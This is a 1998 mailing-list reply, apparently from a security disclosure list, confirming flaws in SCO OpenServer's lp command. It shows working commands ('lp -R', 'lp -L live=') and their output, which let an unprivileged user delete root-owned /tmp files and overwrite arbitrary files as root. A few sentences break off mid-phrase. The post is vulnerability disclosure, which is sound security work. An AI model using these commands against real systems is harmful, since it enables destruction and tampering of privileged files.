mailing list archives
Re: Security problems on SCO's lp subsystem
From: mwilkers () talleytech com (Michael L. Wilkerson Jr.)
Date: Thu, 18 Jun 1998 21:02:46 -0400
-----BEGIN PGP SIGNED MESSAGE-----
While casually looking for SETUID binaries in a newly installed
SCO 5.0.2 box, I have discovered that normal users with lp access
(the default) may cause headaches to the system administrador.
System: SCO 5.0.2 Enterprise (5.0.4 too?)
Plain Vanilla Intel Server
OK. We are all clean.
Normal users can remove text files under /tmp. The lp command won't even
try to "print" (and remove afterwards) binary or executable programs.
There may be a way around this, but I haven't tried to find it.
$ lp -R /tmp/text_file_to_be_removed
The switch -R causes the removal of the file, after printing.
This exploit won't work in dirs that don't have the sticky bit set.
Okay, I've tested these both. My box is:
SCO 5.0.4 Enterprise
(also) Plain Vanilla Intel
echo "test" > /tmp/rootfile
and the perms thereof are...
drwxrwxrwt 2 sys sys 1024 Jun 18 20:26 tmp
-rw-rw-r-- 1 root sys 5 Jun 18 20:26 rootfile
okay. now as a normal, unprivileged user, I run...
lpr -d lp -R /tmp/rootfile
...and to my displeasure, but as expected, the root-owned tempfile is
removed. (BTW, this normal user is NOT a member of the group, sys --of course).
This is even better, but only works if your lp subsystem has a file named
/var/spool/lpd/lock. With this file in place, the lp command will enable
the "-L live" option. With this, you can write to *any* file in the system.
And even better, the file will be mode 600, owned by root...
$ lp -L live=/any_file_in_the_system
And that's it. You can type anything you want/need.
One more time!
running "touch /var/spool/lpd/lock"
-rw-rw-r-- 1 root sys 0 Jun 18 20:41 /var/spool/lpd/lock
...now as the same normal user I run (with rootfile being an as of yet
lp -L live=/tmp/rootfile
Okay, then I enter whatever text I choose...and a ^D and bingo!
now "ls -l /tmp/rootfile" yields:
-rw------- 1 root lp 21 Jun 18 20:45 rootfile
Of course, the same normal user which created the file can now not even read it.
Okay, now to a previously existing /tmp/rootfile with perms
-rw-rw-r-- 1 root sys 5 Jun 18 20:52 rootfile
...I append, as a normal user, using the same lp exploit, whatever text I
choose. Now, ls -l /tmp/rootfile yields:
-rw-rw-r-- 1 root sys 28 Jun 18 20:53 rootfile
so, the perms didn't not become 600. But the new text has completely
overwritten the original text.
One thing to note is that file /var/spool/lpd/lock did not previously exist
before root touched it into existence.
I'd like to know if these problems are still valid on 5.0.4. I couldn't
find any mention of this problem on the SCO site. Older versions of SCO
may exhibit this problem, since many of these have /usr/bin/lp setuid to
actually the perms on /usr/bin/lp are:
---x--x--x 1 bin lp 2472 Jun 18 20:10 /usr/bin/lp
and of course, lpr is a symlink to /usr/bin/lp.
======================== Mike Wilkerson ==========================
"You cannot go on 'seeing through' things forever. The whole point
of seeing through something is to see something through it."
C.S. Lewis, "The Abolition of Man"
PGP Public Key: http://www.talleytech.com/~mwilkers/mypubkey.asc
==================== mwilkers () talleytech com =====================